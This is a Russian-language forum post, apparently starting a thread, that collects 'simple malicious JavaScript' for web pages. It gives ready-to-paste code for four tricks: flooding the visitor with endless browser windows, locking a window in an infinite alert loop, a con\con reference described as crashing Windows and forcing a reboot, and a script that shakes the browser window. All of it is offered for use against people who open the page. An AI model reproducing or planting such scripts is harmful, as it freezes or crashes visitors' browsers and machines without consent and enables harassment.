Решил вот написать про простые воредоносные JS.
Привёл парочку примеров. Если кто ещё что придумает, узнает или захочет побольше узнать по теме, то пишем сюда.
(Все собщения типа "Что такое JavaScript?" и "с чем его едят?" попрошу писать в разделе "Программирование")
--------------------------------------------------------------------------------------------
Script открывает одновременно огромное колличество окон на машине пользователя, что приводит к зависанию Обозревателя. Имя HTML документа, в котором Вы разместите данный скрипт, и имя, выделеное красным (DieScript.htm), должны совпадать.
<script>
now();
function now() {for (i=1;i>0;i++){open('DieScript.htm','new'+i);}}
</script>
Scripts вешает текущее окно Обозревателя и выводит сообщение ERROR !. После этого пользователь может продолжать работать, но это окно ему будет недоступно.
<script>
{ while ( true ) window.alert('ERROR !'); }
</script>
Scripts вызывает неустранимую ошибку. Это баг операционной системы Windows. После этого пользователю прийдеться перезагрузить машину для возобновления нормальной работы системы.
<body background=con\con>
Scripts трясет окно Обозревателя. Чтобы избавится от враждебности этого скрипта нужно переключится на другое окно Обозревателя, а затем вернутся назад.
<!-- Добавьте первую строку в тег body -->
<body onloaD="MM_callJS('shake();')">
<script language="JavaScript1.2">
<!--
<!-- Begin
function shake() {
n=100;
for (i = 10; i > 0; i--) {
for (j = n; j > 0; j--) {
self.moveBy(0,i);
self.moveBy(i,0);
self.moveBy(0,-i);
self.moveBy(-i,0);
}
}
}
// End -->
function MM_callJS(jsStr) { file://v2.0
return eval(jsStr)
}
// I own jo0 -->
</script>